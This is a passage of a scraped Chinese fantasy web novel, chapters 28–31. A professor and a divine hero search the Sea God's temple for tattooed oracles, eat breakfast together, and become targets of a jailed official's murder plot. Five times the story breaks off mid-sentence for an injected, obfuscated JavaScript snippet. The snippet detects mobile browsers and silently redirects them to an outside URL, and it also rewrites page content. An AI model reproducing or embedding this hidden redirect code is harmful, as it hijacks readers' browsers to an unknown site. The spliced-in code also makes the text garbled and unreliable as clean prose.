时光一点一滴地流逝,当钟塔之上发出第一声代表着谢绝信徒入内祈祷的震响时,米勒将羽毛笔插入墨水瓶,纸张理整齐,站起身来,不紧不慢地调整了一下教袍。等他做完这一切时,钟声恰好停歇,桌角的水晶球准时发出了悠悠的光芒。 “愿光明永恒。” 帕瓦顿·米勒恭敬地俯下身去,银鸢尾帝国辉光教廷现任教皇,马里奥诺·萨布利奇冕下苍老而威严的面容出现在水晶球里。 “帕瓦顿,我的孩子,愿光明与你我同在。”教皇冕下对他微微点头:“说说看你所发现的一切。” 米勒恭敬地垂着眼睛,嘴上却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425378|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直言不讳:“我得坦诚来讲,冕下,深渊之界是一片不被光明眷顾的土地。迄今为止,以我凡眼所见,除了被异教蛊惑之愚人、心胸狠毒之恶人、天真无知之庸人,不曾瞧见彻底与神谕相符之人。” “……很快就要没时间了,孩子。”教皇深深地叹气:“异教徒在不断朝着世界的尽头汇聚,深海险恶,黑夜漫长,爱与欲遮住世人的双眼,吾神留下的神谕愈发模糊不清。” “……也许还有一人,可能与神谕之人沾了干系。”米勒迟疑了片刻,忽地轻声说:“非我对此有所隐瞒,只是他实在……” “不必有所顾虑,我的孩子。”教皇鼓励道:“你是深得光明眷顾之子,‘无尘之光’的双眼又怎么可能被谎言与假象蒙蔽?” 米勒看起来被教皇的话振作了。他握紧了权杖,在低低的吟唱中,那柄华美的权杖顶端淡金色的光耀石顿时光芒大盛,随后以其为原点,在虚空中投射出一段半透明的影像。假如教授在这里,他会立马脱口而出“3D投影仪”。 “就是他,冕下。”米勒主教恭敬地后退了一步,以便教皇看清那人的面孔。 “他看起来……年龄有些不符?”教皇温和而委婉地质疑道。 “没错,这也我心存疑虑的原因之一。”米勒平静地说:“还有最重要的一点。” “——他只是个普通人。” 年龄超过十七岁,还依旧只是个普通人,那便意味着灵魂过于孱弱,终身无法与理念产生共鸣。 …… 灰桥港极西点是一片名为乱石崖的巨型岩礁,那里常年风高浪急,呼啸着拍打在崖壁上的森白海浪足以将一只皮糙肉厚的石皮鱼击晕过去。在海浪常年的侵蚀作用下,坚硬的岩礁被凿出了一个巨型“桥洞”,形成一道由陆地探向海洋的天然灰色桥梁,灰桥港便以此得名。而海神殿就坐落在“桥梁”的尽头,站在神殿的露台往下看去,几乎脚下便是汹涌莫测的黑沉海洋。 得亏西塔是个级别不错的武者,不然估计一落入海中便会立马晕死过去。 “你要干什么?” 诺瓦努力靠近了另一人,在那家伙耳边问道。 海浪拍打崖壁的声音简直震耳欲聋,他怀疑哪怕现在扯开嗓门喊,海神殿里的祭司也不会被惊动。 神眷者保证没人能听见他们说话——不过诺瓦觉得这个“没人”里也包括自己。 “准备跳下去?”另一人无辜地看着他,声音柔和清晰的在他耳边响起——又是那些奇妙的“小把戏”。 今夜没有月亮,天空黑沉一片,同伴的金发几乎是唯一的光亮。诺瓦感觉自己快要被狂躁的海风掀下去了,他不由抓住了对方的胳膊,下了死力气按着他,以免下一秒就被行动力超凡的神眷者抱着“youjumpijump”。 “不,我们不跳——见鬼我们非要在这里扯着嗓子说话么?” 28. 海神 于是他们总算退回了幽深的海神殿。 海神殿总体造型就像一座巨型灯塔,顺着石阶盘旋往上,一路不规则地镂空出大大小小的露台。哪怕是夜晚,神殿里都没有半点火烛,唯有几只溺光水母被养在镶嵌进石壁的玻璃罐里,发出幽冷微弱的荧光。阴冷的石壁上渗着水珠,海腥味浓得简直呛人鼻子,繁复诡秘的花纹缠绕着墙壁,脚下滑腻腻的,仿佛踩在软体动物的黏液里。 海神欧德莱斯在神史中的形象是一位一体双面神,有时他以一个意气风发、慷慨仁慈的形象出现,有时却又显得残暴无常,热衷杀戮。他最虔诚的信徒会自称“船中客”——就是坚决不开火、非得开火就要祷告,甚至恨不得一辈子住在海上的那一批,现在官方公认这位海神既有善面,也有恶面,而诺瓦怀疑对方只是单纯的精神分裂。 当然这话是不能写在正经论文上的。 教授回过神来,快速解释道:“鲸鱼骨会被生态系统中的分解者迅速腐蚀殆尽,难以辨别,而佣兵看到的是一条崭新的神谕——至少他认为是崭新的神谕。但是诸神已经沉寂良久,神谕是从哪里来的呢?” 厚实的石壁遮掩了部分海风,这一次沟通变得方便了许多。 “海神祭司习惯将神谕刻于鲸骨再扔入海中,以示已知晓神明的意愿。但是鲜为人知的是,他们也会将神谕备份,当海神发怒,呈现出恶面时,祭司会奉上即是载体也是祭品的备份神谕,以示自己的忠诚与恭顺——不过由于太过血腥残忍,这些东西明面上不太提了。” 阿祖卡从未听信奉海神的同伴说过这个,他微微挑起眉来:“载体是什么?” “人皮。”教授平静地说。 海风在塔外咆哮着,夹杂着冰冷的水珠,湿冷阴森的气流一股股往神殿里涌,溺光水母上下浮动,将黑发青年苍白的脸映照出波动的幽光。 “海神祭司会将神谕纹在奴隶的头皮、胸口和脊背,主要选用壮年男性.奴隶。如果是重要的神谕,甚至会由祭司本人承担载体,等到需要的时候再活剥——而欧德莱斯曾有一段时间格外活跃,恶面也出现得异常频繁,那几年奴隶与祭司的尸骨几乎构成了一片新的海滩。” 简直就像一群试图诱哄发疯的婴儿安静下来的奴仆。 诺瓦厌恶地垂下眼睛,面无表情道:“所以我们现在要去找备份的神谕——海神殿的石阶一路往上都有人类活动的痕迹,先去高处看看吧。” 海神殿的石阶倚着塔壁攀爬,狭窄得仅容一人行走。不规则的小平台外便是露台,由几条悬空的倾斜石道毫无规律地横向连通。台阶旁没有扶手,上下看去都是黑洞洞的一片,腥风扑面而来,一尊巨大的神像沉默伫立于由盘旋的楼梯构成的、暴风眼般的空洞,而他们现在大概在神像的手臂位置,向上看不见头颅,朝下望不见脚。 宽敞明亮些的底楼是祭司的住处,也是供信徒献祭祷告的祭台。越往塔上走,空间便越发狭窄闭塞。随着时间的流逝,教授的呼吸逐渐紊乱粗重。台阶上被丢了一只干涸的水母,他没看清踩了上去,身体一歪差点摔倒,好在身后的人迅速扶了他一把。 他们在一处小平台停了下来。阿祖卡有些担忧地摸了摸宿敌被海风吹得冰凉的额头,没等人回过神来瞪他就收回了手。 “不太对劲。”教授阴郁地说。他干脆蹲了下来,将羊皮本抵在墙上,借着一旁溺光水母的微光,掏出炭笔开始勾画计算,神经质地喃喃自语着:“……越往上走越狭小了,看起来不像有额外空间,那他们上楼做什么……到底在哪里?” 阿祖卡的视线忽地定格在了那尊巨大无比的海神神像身上。现在他们的高度恰好可以看见海神欧德莱斯的上半张脸。无垠的黑暗中,石质的巨大人脸上灰白一片的双眼正幽幽地注视着他们。 随后他听见教授与他心有灵犀般地沉声道:“神像。” 黑发青年直接越过他,自顾自利索地爬上了一条悬空的石道。石道两边毫无防护,路面又过于狭窄,稍有不慎便会坠入黑暗的塔底,简直看得人胆战心惊。 有那么一瞬间,救世主的心情和发现猫主子正趴在高层阳台边缘的猫奴没啥两样。 但是教授好像压根没意识到自己所处的危险境地。他正在调整站位,确保自己可以近距离观察神像的全貌。 海神欧德莱斯的神像是一尊中年男性神像,雕刻师着重描绘了对方深陷的眼窝、高耸的鼻梁和宽阔有力的下巴——是斯特人的样貌特征,一只常年定居在海上的民族。 诺瓦与神像对视。不知是不是错觉,他总感觉不太舒服,就像有什么东西在阴冷地窥探他。但神眷者早已为两人施加了混淆认知的法术,至少按照对方的说法,除非圣者以上的强者,无人能看穿。 他的肩膀忽然被人按住了,诺瓦吓了一跳,想要挣扎时却嗅到了逐渐熟悉起来的气味。 “小心,有人在看我们。”他听见神眷者在他耳边沉声说。对方靠得过近了,耳朵被温热的气流吹得痒痒的,这让他不适地皱了皱眉。 “你也感觉到了?”他迅速逼迫自己无视这一点,低且快速地说:“注意神像的双眼,眼眶附近有很多划痕,里面还有空间。” 窥视的人似乎更沉不住气。教授话音刚落,伴随着石料摩擦的刺耳声响,神像的一只眼瞳竟缓缓上移,露出了里面黑洞洞的暗室。 一个陌生的声音从中高声呵道:“吾神说有客来访——无礼的客人啊,既然已面见吾神,为何还不现身?” 诺瓦忽然感到浑身一轻,失重感顿起,神眷者轻盈得像一片羽毛,挟着他落在了另一条楼梯上,几乎是下一秒,一个身着暗色兜帽长袍的身影重重落在方才的石台,凭空出现的漩涡在他的脚底升腾,诺瓦听见了石料断裂的沉闷声响,几块碎石坠入了塔底。 神殿里实在太过昏暗,诺瓦眯起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425379|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛才勉强看清来者的轮廓。对方明显看不见他们,但就像是有什么东西在为他指示一般,总能对准俩人的方向袭来,每一击都损毁了一截石阶,海神殿内轰鸣声不断,很快便被炸得几乎无下脚之地,诺瓦已经隐隐听见了塔底其他祭司惊慌的叫嚷。 诺瓦忽地低声呵道:“注意他的皮肤!” 神眷者手指一动,狭小的塔内顿时狂风大作,碎石迷住了对方的眼睛,那人猝不及防,身上的长袍顿时被狂风扯了下去,露出了光裸的上半身。 借着溺光水母微弱的光芒,诺瓦发现那人是个光头巨汉,除了面部还算光洁,仅在眉心有一朵浪花状纹身,竟从头皮开始,浑身皮肤都布满了密密麻麻的纹身,仔细看去才发现都是神谕。 “……是海神殿的大祭司。”教授眯起了眼睛:“太暗了,我看不清写的是什么——我的左衣兜还有自制的照明弹,你稳一点,闭眼听我指挥调整角度,我来扔。” 沦为坐骑的神眷者:“……” 这家伙到底自制了多少危险物品? 那边的大祭司已经陷入了狂怒,整个海神殿都震颤了起来,塔外的海浪仿佛感知到了他的情绪,越发汹涌上涨。 “藏头藏尾的亵渎之人!早上就有祭司汇报,发现有人偷偷潜入神殿,结果你今晚还敢来!”他怒吼道:“你究竟是谁的信徒?西风神卡洛斯还是混乱女神库拉库肯?!” 前者是当地不太入流、信徒少得几近苟延残喘的风系小神明,后者是一群强盗、小偷和骗子杜撰出来的神明,宣称女神会保护制造混乱的作恶者,但这所谓的混乱女神并不得到各大教派的认可。 教授面无表情,好像压根没听见对方在骂什么:“朝右靠近一点——好,就现在!” 一阵爆响,随后是突然亮起来的耀眼白光。 黑暗中骤起的光亮几乎晃瞎了所有人的眼睛,教授却是早有准备,等短暂的明适应过去后,他迅速地记下对方身上的纹身。 大祭司的面孔因光的刺激而痛苦扭曲,但是下一个瞬间,他猛地睁开眼睛,双目无神,流泪不止,粗壮宽大、青筋暴起的手却是精准地朝着诺瓦的方向狠狠抓来。 恍惚中,诺瓦似乎看见有什么如鬼魂般扭曲的东西冲出大祭司爆满血丝的双眼,如一条海蛇,以一种难以想象的速度朝他扑来,试图没入他的眉心。但是他还没来得及反应,便听见了耳边一声极为细小的、幻觉般的凄厉惨叫。 “——辉光教廷!” 全程连入侵者的脸都没瞧见,就彻底失去其行踪的海神殿大祭司赛肯简直气急败坏,那团突兀出现的光团已经慢慢暗淡,他重重落到塔底,看着被坠石砸出伤口、呻.吟阵阵的自己人,忍不住破口大骂起来,用词粗俗得完全不像神职人员:“那群卑鄙的强盗恶棍!装模作样的狗屎!这里可是灰桥港,不是他们的老巢,居然还敢直接闯进海神殿,欺负到老子头上来了!” 29. 咖啡 当救世主拎着宿敌离开黑洞洞、阴森森的海神殿,翻窗跳进珍珠海公馆的房间里,那人几乎刚从他怀里挣出来,便掏出自己的宝贝羊皮本趴在桌子上奋笔疾书。 阿祖卡凑过去一看,对方在飞速默写从大祭司身上看见的神谕,并随机在某句话上标注着谁也看不懂的关键词——但是那只几乎被磨秃噜的炭笔终于禁不起折腾,写着写着咔嚓一下断成了两截。 然后神眷者罕见地听见教授骂了句脏话。 “该死,我需要一只好用的笔!”他的语速快得要命:“还有更多的纸——我想念我的办公室,我的自制钢笔和笔记本——不,请不要发表意见,我只是在抱怨,现在我抱怨完了。” 教授深吸了口气,重重往后一靠,仰起头来,苍白的脖颈拉出了一道硬质而脆弱的弧度。他眼睛半闭着,手指点在嘴唇上,喉结急促地蠕动着,喃喃自语些除了自己谁也听不懂的东西,看起来神经质到了极点。 “可以确定了,海神殿和辉光教廷寻找的‘宝藏’是同一个。”良久,教授忽然闭着眼睛说。 这话没头没尾的,神眷者的眉头挑了起来。 “海神殿大祭司皮肤上的纹身基本都是新的,神谕近期才大量出现,但内容却在重复,不断的重复。海神在强调‘时间紧急’和‘重要性’,甚至许下诺言,‘将其带来,我必奖赏你们’。” “造谣的佣兵无法理解内容,但也感知到了海神的焦躁,所以他认为海神会继续降下神谕……但哪怕已经如此焦急,一但涉及到具体所寻的事物时,对方使用的都是些模糊的、意象化的指代,‘海洋生长,复燃余烬将于深渊之界重现’……看来就连海神自己都不知道在具体寻找些什么,或者说,这并不是他本人的原话,他只是个转述者。” “……您是怎样看出这一点的?”阿祖卡缓缓眨了眨眼睛。 “‘他与我有仇,也是与你们有仇,我要将那该死的东西溺死在海里。’”教授睁开眼,面无表情地背诵道:“选自《洋流卷书》第五卷第四十二章,是海神欧德莱斯留给信徒的神谕。” 他轻嗤道:“你觉得习惯这样说话的神明会扯什么文绉绉的‘复燃余烬’?” 简直就像粗莽汉子捻起绣花针般违和。 “这种用词习惯倒让我想起一位神明。”黑发青年若有所思地轻轻用手指敲打着嘴唇。 “——命运女神拉莫多。” “命运女神早已陨落。”神眷者温和地提醒道。 “没错。” “那么她该如何留下新的神谕?” “我不知道,”教授掀起眼皮,莫名其妙地看了他一眼:“我又不是万能的。” 阿祖卡不由哑言。半响,他忍不住笑了起_来:“抱歉,我好像有点太过依赖您了。” “……这有什么好道歉的,总有一天我会解答你的问题,只是现在信息不足而已。”黑发青年有些不自在地皱了下眉:“而且听从我的指令行动,总比当个自顾自行动再搞砸一切的蠢货好。” 他还真得挺欣赏神眷者这一点,明明身为两人中占据绝对掌控地位的强者,必要时却能甘愿让出主导权,完全不觉得听从一个普通人的指挥是一件丢脸的事。 宿敌那理所当然到可爱的傲慢让救世主的眼神柔和下来,忍不住伸手摸了摸对方的后颈。 这一次对方没有瞪他——或者说那人正处于极度兴奋的状态下,没心思和他计较,语速快得与其说是解释,不如说是自娱自乐。 “削除故弄玄虚和废话部分,神谕中提到了‘深渊之界’——根据传说,阿萨奇峰之后是深渊,深渊之界可以理解为纳塔林人的族地,也可以扩大到灰桥港;‘重现’,以前消失又出现;‘复燃’指死里逃生;‘余烬’是某一具体族类的遗留物。” “还有一点,‘海洋生长’——你猜我想到了什么?没错,叹息之墙。”教授自问自答道,眼睛闪闪发亮:“叹息之墙的消失,能否算作某种意义上的‘海洋生长’?” 尽管神眷者没明说,但诺瓦也猜到了叹息之墙的维系与崩塌都与对方有关。 “突如其来的辉光教廷,莫名其妙的活动选址和人选,与王城之间频率极高的通话,由海神殿大祭司充当载体,急躁的神明……综合考虑下来,我们不妨大胆猜测。”他猛地后仰,任由椅子的两条腿腾空,亮到惊人的眼中倒映着身后颠倒的人影。 “神明们寻找的东西,其实就是你,自称漫画男主的救世主大人——对方动机不明,但我估计不是好事。”教授致以最后总结性发言。 “——现在你可以发表意见了。” 房间里安静得要命,唯有时钟指针滴答行走的声音。诺瓦维系着随时会后仰过去的危险姿势,盯着那人的下巴走神。他没有提那声突然出现在耳旁的细微惨叫,甚至无法确认是否只是紧张之下的幻听。 海神殿大祭司显然还不是圣者,无法破解神眷者的混淆法术。但是他提到了吾神,注视着他们的东西是海神欧德莱斯么? 诺瓦一向将神明视为拥有常人难以理解的力量的强大人类,至少是同一维度的生物。诸神早已不再活跃,沉寂了近数百年,强盛的教派一般宣称吾神是陷入了沉睡,式微的教派则默认神明已经陨落。 但是如果海神甚至光明神还活着,他们为什么不亲自出手,他们现在又在何处注视着一切? 他不自觉地咬了一下手套——尽管只是一种微弱的预感,但是诺瓦已经可以基本确定,他们即将走上一条与神明的拥趸、甚至神明本人抗争的、极为艰难的道路。还有神明“活着”、被至少两个且动机不良的神明寻找……这可都不是好消息,而神眷者本人估计也已觉察到了这些。 有人握住了椅背,将椅子放平,逼的教授不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425380|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不扭过身去看他。 “夜已经深了,您该休息了。” 然后诺瓦听见神眷者温和而平静地说道。 教授面无表情:“……这就是你听了这么一大段精彩绝伦的分析后的感想?” “唔,确实还有一点。”对方若无其事地严肃点了点头:“明天早上我会去买纸笔和一些换洗衣物,您还有其他需要的么?” “可以随身携带的炭笔,不要沾墨羽毛笔,以及看看集市上有没有原产地巴塔利亚高地的咖啡,如果没有就算了,谢谢——这不是重点。” “在我看来这就是重点。”对方从喉咙里淌出一点轻柔的笑声。 “别担心,与神明为敌是我早有预料的事。”他淡淡地说:“无论对方是谁,都无法阻拦我得到我应得的答案,也不影响我对您的承诺。” 神眷者的声音很平缓,带着一种奇异的、使人镇定下来的力量,仿佛只要有他在,一切都会好起来——这就是男主角的魅力么?诺瓦稍微有点发愣。 一只手略带安抚意味地按在他的肩膀上,那个人俯下身,双眼锁定了他的眼瞳,压迫感却是一丝一缕地渗了出来:“毕竟这一次主动权在我们手中,不是吗?” …… 第二天一大早,诺瓦是被一阵急促的敲门声吵醒的,他阴着脸爬起来,因为睡眠不足太阳穴简直一阵阵抽疼。披着外衣去开门时,教授瞥见神眷者正悠然自得地坐在小台桌前喝咖啡,一旁摆着不知道从哪翻出来的手摇式咖啡磨豆机,桌上还有烤过的面包、带着水珠的新鲜莓果和一小块黄油奶酪,右手边是一份摊开的报纸。 见他醒来,对方还心情愉悦地冲他举了举咖啡杯:“早上好,教授——原产地巴塔利亚高地的咖啡,品味不错。” “……早上好。” 尚且处于起床气阶段的诺瓦阴郁地看了他一眼,将门重重拉开,差点撞到来人的鼻子。 “哦嗨,布洛迪教授。”他的同事奥斯温教授站在门口讪讪地笑着,见人一副刚从床上爬起来的模样,顿时尴尬地摸了摸鼻子。 “我就是来问一声,大家打算后天启程回校——你要不要和我们一起走?” “早上好,奥斯温教授。”白塔大学出了名的怪人面无表情地说,好像一点也不觉得尴尬:“不必,我付不起护航船的船费。” “不不不,这一次是辉光教廷的船,”奥斯温连忙摆了摆手:“米勒阁下邀请白塔大学神学院的诸位一起回程。” 辉光教廷确实财大气粗,不像他们那扣扣搜搜的记账员,来之前说有航行补贴,结果也就那么一丁点,他们也是自掏腰包才坐上了有术士护航的船只。 不过幸好没省这笔钱。奥斯温偷偷看了黑发青年一眼,不由对同事苍白憔悴的脸色咋舌不已——他可不觉得自己能有对方的好运气,坐着货箱都能一路漂流到目的地。 30. 早餐 “咖啡?”阿祖卡冲简单将自己打理一番的宿敌挑起眉来,点了点桌上的瓷壶:“要不要再来点牛奶?” “……不用,谢谢。” 对方一屁股坐他面前,一口气灌了半杯黑咖啡,那种阴森森的状态终于消散了不少。 “我答应了,一起回程的事。”诺瓦慢吞吞地说:“刚好可以借机试探下辉光教廷——而且可以省下一笔船费。” 他垂下眼睛,酌了一口咖啡:“你要和我一起回白塔大学,还是先留在这里处理萨曼家族?” 灭族事件背后的推手都被神眷者杀死了,无论对方有心无心。虽说那些人都不是什么好东西,但也不难看出男主本人是个睚眦必报的性格。 没道理留下身为罪魁祸首之一的萨曼家族不管。 “不着急。”被人腹诽的神眷者微笑着看着他。对方正沐浴在清晨的阳光里,手优雅地抵着下颌,几缕金发缠在白皙修长的手指上,如流淌的金线,整个人显露出一种奇异的神圣感。 “还没到对整个萨曼家族出手的时候。”他的语气很轻柔,完全听不出来正在讲些冷酷血腥的东西:“已经沾染了罪孽的血脉不会留存太久,只是不是现在。” 黑发青年忽地抬起头来,上上下下仔细打量了他一圈。 “……你已经对巴特菲尔德·萨曼出手了,你做了什么?” 珍珠海公馆的房间里只有一张床,但好在还有一张格外宽大柔软的躺椅。昨夜对方体贴地表示自己睡躺椅就行,这么算来,这家伙应该是趁他熟睡的时候去了一趟萨曼家的府邸。 差点忘了,教授的眼神格外犀利,这人还是个武者,身体素质好得要命,哪怕一晚上不睡,第二天也看不出什么。 “没杀他,只是一个小小的印记。”神眷者将一块烤面包抹好黄油奶酪,递给教授,随后满意地看着对方毫无防备地接过去,嘎吱嘎吱地咬。 “……黑血印记?”诺瓦咬着面包含含糊糊地问。 黑血印记,又名奴隶印记。恰如其名,常用于奴隶身上,多为黑矿场主、奴隶贩子使用。优点是施法简单,单向束缚力强,甚至有专门的魔具供直接使用。缺点是容易被更高层次的术士破除。 但神眷者是圣者,也就是几乎不存在缺点。 “接近了,”救世主笑眯眯地继续投喂宿敌:“只是不是作用于身体,而是作用于灵魂——不过巴特菲尔德·萨曼应该不知道,他还没醒就晕过去了。” “……所以叹息之墙到底什么时候崩塌?”诺瓦皱了下眉,接过神眷者手中的莓果塞进嘴里——好极了,酸得要命。 对方拍了拍手,沉吟了一下:“唔,临走之前我有进行加固,彻底崩塌应该还有个两年左右?” “……” 教授面无表情。 这叫什么见鬼的“风暴将息”,还有这人不是一副苦心孤诣为族人寻找一线生机的模样吗?! 救世主看起来无辜极了:“我可从未说过叹息之墙马上就要崩塌。” 令族人产生忧患意识是一码事,但接下来要发生的事让与世隔绝了三百多年的纳塔林人彻底掺和进来可不太合适。 “……行,下一个问题。”诺瓦幽幽地看了他一眼:“你要用什么身份进入白塔大学?” 总不能一直靠混淆法术。 他有些挑剔地打量着神眷者:“招生是来不及了,你可以当我的助教。” 助教主要负责辅助教授进行研究、备课、改论文,有时还要负责代课,一般是从高年级学生里挑选,也可以自己聘请,不过后者学校不负责开工资。这人好歹也是个神职人员,专业方面应该没问题吧。 对方还是那副笑吟吟的模样:“没问题,您考虑得很周全了,剩下的事我会解决。” 诺瓦唔了一声,垂下眼睛,慢慢搅拌剩下的咖啡,大脑难得放空了一会儿。对面传来纸张窸窸窣窣的声音,那人大概在看报纸。 他不由有些恍惚。 自己好像很久没和人这样毫无目的性的、面对面一起悠闲吃早餐了。贵族的餐桌礼仪非常繁琐,但在诺瓦看来,进食只是为了维系生命的必要活动,那套低效的东西令他厌烦不已,幼年时甚至因为这个被家庭教师打了手板——虽然很快那人就因被他揭穿与女佣偷.情并偷卖布洛迪夫人的珠宝,被治安官抓走了。 后来新聘请的家庭教师不敢管他,生怕被他随口说出一些见不得人的“小秘密”。而诺瓦也在与布洛迪夫人的数次争执中,以对外时会将礼节部分做得无可挑剔为代价,换取了家中可以随意行动的自由。 诺瓦再次咬了一口烤面包——正是青黄不接的时候,面包大概是用旧小麦做的,香气不明显,还带着酵母的明显酸涩。好在烤后干脆的口感很好,配合上奶酪的醇香也是相当不错的一餐。 另一人平和的呼吸忽然一顿,似乎看到了什么令人震惊的东西。 教授顿时敏锐地抬起头:“怎么,海神殿有消息传出来么?” 这个世界的报业已经进入了野蛮生长阶段,著名的大报社甚至与贵族、教廷有合作,乱七八糟的小报也层出不穷,其中四处流浪、见多识广又口才出众的吟游诗人为其贡献良多。 对方将报纸换了个方向,默默推给他,然后诺瓦便被什么“玫瑰夫人和落魄贵族之间不得不说的那些事”糊了一脸。 “……黄.色新闻?” 为了迎合大众口味,小报社相当喜欢刊登这种博人眼球的三俗报道,哪怕在他的世界也不可避免,只是稍加收敛些——就看苦主本人愿不愿意花费时间、金钱和精力去维权了。 “……您不想发表些意见?”阿祖卡神情不明地盯着表情淡漠的黑发青年。 “可鄙下.流的做法,将死者绝望的抗争污蔑为阴私的情.爱。”教授用指骨节在署名处敲了敲:“笔者化名阿帕特拉,这个词由梵地语衍生而来,本义是‘欺诈、谎言’的意思——对方故意的,但是不太像萨曼家族的手笔,巴特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425381|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲尔德·萨曼没这么聪明。” 故意削减此次游行示威的严肃性,将死人和无权势的学者推到风口浪尖,引导群众的目光集聚到炸裂的绯色新闻上,卑劣且有效。 “……我不是说这个。” ——这人对自己的名誉还真是毫不在乎。 阿祖卡微叹了口气,但是没有说下去,只是抽走了诺瓦手中的报纸。 “我知道了,我会注意这个名字。”他平静地说,只是怎么听都显露出些微冷意。 “……等我一会儿。”教授忽然若有所思地说。他倾身掏出对方新买来的纸笔,推开咖啡杯,坐在桌前写些什么,留下神眷者盯着他的发旋。 “请帮我给同一家报社,不必暴露身份。”诺瓦将那张稿纸叠了起来,交给了阿祖卡:“如果对方不敢发表,你可以……‘帮’他一把。” 黑发青年垂下眼,喝完了杯子里最后一点咖啡:“就当是我利用了班尼一家的补偿。” …… 与此同时,灰桥港突发新闻报因“玫瑰夫人”销量大涨,主编简直笑得瞧不见牙龈,就连前·治安总署署长尼特·萨曼在狱中都拜读了那篇大作。 “脑子简直有病!”他将报纸摔到了地上,破口大骂:“那个诺瓦·布洛迪就为了和一个愚蠢、风.骚、满身鱼腥味的婊.子调情,居然不惜攀咬到老子身上?!” 说是关押在牢房里等候法庭提审,但除了多了一面铁栏,牢房内部条件简直和旅社差不多,只是尼特·萨曼依旧觉得这环境格外令人委屈。 他本以为自己完蛋了,但是萨曼家主只是将他臭骂了一顿——或者还夹杂了些许拳打脚踢——最后还是捏着鼻子要求他老实呆在牢里,等辉光教廷走人后再运作一番,尽量只在法庭走个过场。 “看在你之前还算尽心尽力的份上。”对方阴森森地说,但尼特·萨曼知道,这只是因为他掌握了太多萨曼家族见不得人的秘密,萨曼家主不可能任由他就这样毫无准备的上法庭,暴露于敌对家族的视野里。 想到这里,尼特·萨曼的肥脸忽然扭曲了一下:“你们几个,过来。” 几个站在牢房外的治安官唯唯诺诺地跑了回来,恭敬地俯下身来。 “弄死那个诺瓦·布洛迪,做得利索点,别让他有机会说话,顺便做一份遗书,说他是殉情自杀。”尼特·萨曼阴狠地说:“他不是为爱悲痛欲绝么?老子就随了他的愿。” 下属顿时脸色苍白起来,杀害贵族可是直接上断头台的重罪,其中一人迟疑道:“署长大人,萨曼伯爵那边会不会……” “你懂什么?”尼特·萨曼瞪了他一眼:“所谓的人证一死,法庭上我们不就想怎么说就怎么说?我这可是为家主解忧。” 这可是戴功立罪的好机会——不过白塔大学的那群神学家不会在灰桥港停留太久,他必须要抓紧时机。 至于诺瓦·布洛迪本人不过是一个柔弱的普通人,弄死他大概比杀死一只鸡还容易些。 31. 谋杀 灰桥港并不大,人人都乐意为自己单调乏味的生活增添些许调剂品——玫瑰夫人和落魄贵族之间的爱恨情仇本足以为灰桥港人增添好几个月的谈资,结果还不到两天,便被一条更加骇人听闻的丑闻取代。 前任治安总署署长,皮靴佬的头头,总是趾高气昂、耀武扬威的尼特·萨曼,其实那方面不行。 最令人憎恶的是,他不光不行,还喜欢以残忍手段玩弄私自掳掠来的平民女孩。 消息来源是一份遗书,其主人正是那位神秘的“玫瑰夫人”。她曾无意间窥见尼特·萨曼无能又恶毒的癖好,却暂时无力揭露其罪行——直到丈夫被污蔑为暴民并杀死,她隐隐觉察到自己与儿子都活不久了,于是决定于极度的仇恨与悲痛中,通过自焚来诅咒仇敌卑劣肮脏的灵魂,并在此之前将遗书交给了灰桥港突发新闻报的主编,一位聪慧正直的先生,直到尼特·萨曼锒铛入狱,主编先生觉得时机到了,这才将她的遗书曝光。 当然,至于那位“聪慧正直”的主编先生在清醒后瞧见自己都刊发了什么时有多么崩溃就暂且不提了。 “……就让我的灵魂在火中燃烧吧,我亲爱的班尼,我亲爱的孩子,请不要恨我,我实在不知道我还能做些什么……对不起,我爱你们。”玫瑰夫人在那份没有落款的遗书中如此写道。 她的故事简直令无数读者落泪,就连不少贵族与学者都听闻了这出悲剧,还有吟游诗人为其写诗。很快,有学者发现第一篇报道的作者署名阿帕特拉的本义,便猜测主编先生之所以刊发这篇“谎言”,是为了测试萨曼家族是否知晓玫瑰夫人的秘密。 